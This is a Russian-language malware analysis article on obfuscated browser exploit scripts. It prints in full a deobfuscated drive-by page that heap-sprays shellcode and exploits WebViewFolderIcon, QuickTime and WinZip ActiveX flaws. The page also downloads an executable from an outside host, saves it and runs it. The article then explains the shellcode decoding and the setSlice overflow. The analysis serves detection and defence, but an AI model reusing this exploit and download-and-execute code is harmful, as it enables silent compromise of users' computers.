Пытаясь использовать уязвимости в Интернет браузерах, хакеры прилагают усилия для скрытия вредоносного кода с помощью различных способов обфускации, тем самым, усложняя процесс создания сигнатур. Такой скрипт, как правило, загружает другую вредоносную программу на компьютер пользователя.
С целью скрытия опасного функционала скриптов применяются следующие методы:
• HTML утилиты шифрования
• разбивка строк
• продвинутые протекторы
Что касается первого метода, множество таких утилит широко доступно в Интернете (например, http://www.iwebtool.com/html_encrypter):
Пример разбивки строк показан ниже на примере Exploit.HTML.IESlice.p:
kyjkidk = "G"+p+"E"+p+"T";
var neuh = "http://masiv.info/index.php?a=3&c=3";
txnrlaa = "X"+p+"MLHTT"+p+"P";
var byzqpd = anwnuo.CreateObject("Scripting."+p+"File"+p+"SystemObject", "")
xkb = "She"+p+"ll";
sdk = "AD"+p+"O"+p+"DB";
xlnpl = "kfhnbue"+".exe";
wxjxlg = ".";
drogq = "G"+p+"ET";
fzsadl = "A"+p+"pp"+p+"l"+p+"ica"+p+"t"+p+"i"+p+"o"+p+"n";
ioqdw = ".";
|
|
fvmdf = "S"+p+"tre"+p+"a"+p+"m";
bhardg = "MSX"+p+"ML2";
var lldwnqj = izthzbn(anwnuo, xkb+wxjxlg+fzsadl);
wsuvvey = "M"+p+"ic"+p+"ro"+p+"s"+p+"oft";
cxawh = 7+6+1+1+3+6+2+1;
nvueig = "G"+p+"ET";
ujzsd = "X"+p+"ML"+p+"HTTP";
var ulgaiur = izthzbn(anwnuo, sdk+ioqdw+fvmdf);
evu = "MSXML"+p+"2";
Но наибольший интерес вызывают случаи, когда код скрыт с помощью специальных шифрующих процедур. Для этого рассмотрим код Exploit.HTML.IESlice.h:
<Script Language='JavaScript'>
document.write(
unescape('%3C%73%63%72%69…)); zX('%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG%7Bfw%2A75q%2A8I…');
</Script>
Здесь мы видим строку unescape('%3C%73%63%72%69…'), которая заключает в себе код zX функции, которая выполняет процедуру шифрования. После чего следует соответствующий ее вызов с целью извлечь реальное содержимое скрипта:
<html>
<head>
<title></title>
<script language="JavaScript">
var memory = new Array();
var mem_flag = 0;
function having() { memory=memory; setTimeout("having()", 2000); }
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{spraySlide += spraySlide;}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
function makeSlide()
{
var heapSprayToAddress = 0x0c0c0c0c;
var payLoadCode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33"+ "...");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
mem_flag = 1;
having();
return memory;
}
function startWVF()
{
for (i=0;i<128;i++)
{
try{
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
d = 0x7ffffffe;
b = 0x0c0c0c0c
tar.setSlice(d, b, b, b);
}catch(e){}
}
}
function startWinZip(object)
{
var xh = 'A';
while (xh.length < 231) xh+='A';
xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
object.CreateNewFolderFromName(xh);
}
function startOverflow(num)
|
|
{
if (num == 0) {
try {
var qt = new ActiveXObject('QuickTime.QuickTime');
if (qt) {
var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B
" width="1" height="1" style="border:0px">'+
'<param name="src" value="qt.php">'+
'<param name="autoplay" value="true">'+
'<param name="loop" value="false">'+
'<param name="controller" value="true">'+
'</object>';
if (! mem_flag) makeSlide();
document.getElementById('mydiv').innerHTML = qthtml;
num = 255;
}
} catch(e) { }
if (num = 255) setTimeout("startOverflow(1)", 2000);
else startOverflow(1);
} else if (num == 1) {
try {
var winzip = document.createElement("object");
winzip.setAttribute("classid", "clsid:A09AE68F-B14D-43ED-B713-BA413F034904");
var ret=winzip.CreateNewFolderFromName(unescape("%00"));
if (ret == false) {
if (! mem_flag) makeSlide();
startWinZip(winzip);
num = 255;
}
} catch(e) { }
if (num = 255) setTimeout("startOverflow(2)", 2000);
else startOverflow(2);
} else if (num == 2) {
try {
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
if (tar) {
if (! mem_flag) makeSlide();
startWVF();
}
} catch(e) { }
}
}
function GetRandString(len)
{
var chars = "abcdefghiklmnopqrstuvwxyz";
var string_length = len;
var randomstring = '';
for (var i=0; i<string_length; i++) {
var rnum = Math.floor(Math.random() * chars.length);
randomstring += chars.substring(rnum,rnum+1);
}
return randomstring;
}
function CreateObject(CLSID, name) {
var r = null;
try { eval('r = CLSID.CreateObject(name)') }catch(e){}
if (! r) { try { eval('r = CLSID.CreateObject(name, "")') }catch(e){} }
if (! r) { try { eval('r = CLSID.CreateObject(name, "", "")') }catch(e){} }
if (! r) { try { eval('r = CLSID.GetObject("", name)') }catch(e){} }
if (! r) { try { eval('r = CLSID.GetObject(name, "")') }catch(e){} }
if (! r) { try { eval('r = CLSID.GetObject(name)') }catch(e){} }
return(r);
}
function XMLHttpDownload(xml, url) {
try {
xml.open("GET", url, false);
xml.send(null);
} catch(e) { return 0; }
return xml.responseBody;
}
function ADOBDStreamSave(o, name, data) {
try {
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
} catch(e) { return 0; }
return 1;
}
function ShellExecute(exec, name, type) {
if (type == 0) {
try { exec.Run(name, 0); return 1; } catch(e) { }
} else
{
try { exe.ShellExecute(name); return 1; } catch(e) { }
}
return(0);
}
function MDAC() {
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', null);
var v = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;
var urlRealExe = 'http://list***.org/forum/file.php';
while (t[i] && (! v[0] ||! v[1] ||! v[2])) {
var a = null;
try {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} catch(e) { a = null; }
if (a) {
if (! v[0]) {
v[0] = CreateObject(a, "msxml2.XMLHTTP");
if (! v[0]) v[0] = CreateObject(a, "Microsoft.XMLHTTP");
if (! v[0]) v[0] = CreateObject(a, "MSXML2.ServerXMLHTTP");
}
if (! v[1]) {
v[1] = CreateObject(a, "ADODB.Stream");
}
if (! v[2]) {
v[2] = CreateObject(a, "WScript.Shell");
if (! v[2]) {
v[2] = CreateObject(a, "Shell.Application");
if (v[2]) n=1;
}
}
}
i++;
}
if (v[0] && v[1] && v[2]) {
var data = XMLHttpDownload(v[0], urlRealExe);
if (data!= 0) {
var name = "c:\\sys"+GetRandString(4)+".exe";
if (ADOBDStreamSave(v[1], name, data) == 1) {
if (ShellExecute(v[2], name, n) == 1) {
ret=1;
}
}
}
}
return ret;
}
function start() {
if (! MDAC()) { startOverflow(0); }
}
</script>
</head>
<body onload="start()">
<div id="mydiv"></div>
</body>
</html>
Данный скрипт использует одну из следующих уязвимостей с целью инициировать переполнение буфера:
• переполнение буфера при вызове setSlice() метода для WebViewFolderIcon ActiveX объекта (MS06-57)
• переполнение в Apple QuickTime (CVE-2004-0431)
• переполнение буфера при вызове CreateNewFolderFromName() метода для WinZip FileView ActiveX элемента управления (MS06-067)
Предварительно скрипт «распыляет» свой исполняемый код (shellcode), который загружает файлы из Интернета без ведома пользователя:
“%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb...”
Чтобы доказать вредоносность данного кода, преобразуем его в двоичный вид. Для этого необходимо выполнить следующие действия:
1. Удалить все символы %u
2. Поменять местами младший и старший байты в Unicode слове
3. Преобразовать ASCII формат в шестнадцатеричное представление.
4. Сохранить данные в двоичном формате
Давайте взглянем на получившийся код в дизассемблере:
Очевидно, что код программы зашифрован с помощью логической операции xor. Чтобы выполнить расшифровку нашего кода, необходимо сложить по модулю два каждый байт, начиная с адреса:00000015 со значением «0EFh».
|
|
И теперь уже можно утверждать, что данный код действительно загружает следующую ссылку при помощи вызовов URLMON.DLL библиотеки: http://list***.org/forum/file.php
В заключение можно сказать, что, несмотря на огромное разнообразие вредоносных скриптов и методов их скрытия, противостоять растущему уровню хакерских атак, использующих уязвимости в установленном программном обеспечении, вполне возможно. В этом могут помочь антивирусные средства с функцией проверки загружаемых из Интернет данных, а также отключение выполнения опасного содержимого в Интернет браузере.
Исходный код, использующий уязвимость WebViewFolderIcon, написанный на Java Script:
for (i=0;i<128;i++)
{
try
{
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
d = 0x7ffffffe;
b = 0x0c0c0c0c
tar.setSlice(d, b, b, b);
}
catch(e){}
}
Скрипт создает 128 объектов ActiveX объекта WebViewFolderIcon и вызывает для него метод setSlice(), вызывающий
переполнение буфера в случае передачи значения первого параметра = 0x7ffffffe. Данная уязвимость (MS06-057), используется для организации DoS атак, а также для удаленного исполнения вредоносного кода злоумышленника.
Данная уязвимость находится в библиотеках WebView (webvw.dll) и Common Controls Library (comctl32.dll), которые загружается Интернет браузером.
Псевдокод класса WebViewFolderIcon представлен ниже:
Объект этого класса хранит данные в структуре данных DSA (Dynamic Structure Arrays).
Конструктор WebViewFolderIcon вызывает метод DSA_Create(), передавая в качестве параметров следующие значения:
cbItem = 16;
cItemGrow = 2;
Переполнение буфера происходит непосредственно в DSA. Последовательность действий, инициирующих переполнение, следующая:
1. Передача значения 0x7FFFFFFE в метод WebViewFolderIcon.setSlice() в качестве первого аргумента:
WebViewFolderIcon.setSlice(0x7FFFFFFE,..,..)
2. Инициализация значения индекса DSA новым значением:
idxItem <= 0x7FFFFFFE;
3. Рассчет нового количества элементов в массиве:
cItemsNew <= idxItem + cItemGrow = 0x7FFFFFFE + 2 = 0x80000000
4. Рассчет нового размера памяти:
MemorySize <= cItemsNew * (cbItem=16) = 0
5. Запись нового элемента в массив по адресу:
|
|
idxAddress = idxItem * cbItem = 0x7FFFFFFE * 16 = 0xFFFFFFE0
…что равносильно:
DSAArray[-32]
Запись данных по отрицательному значению индексу массива приведет к затиранию данных в, предшествующих массиву данных, блоках памяти. В нашем случае таблица виртуальных методов класса AmbientFont, где содержаться адреса функций ClearClass() и ClearClassAndObject().
Таким образом, при вызове деструктора для объекта класса WebViewFolderIcon управление будет передано по адресу, указанному злоумышленником при вызове метода setSlice().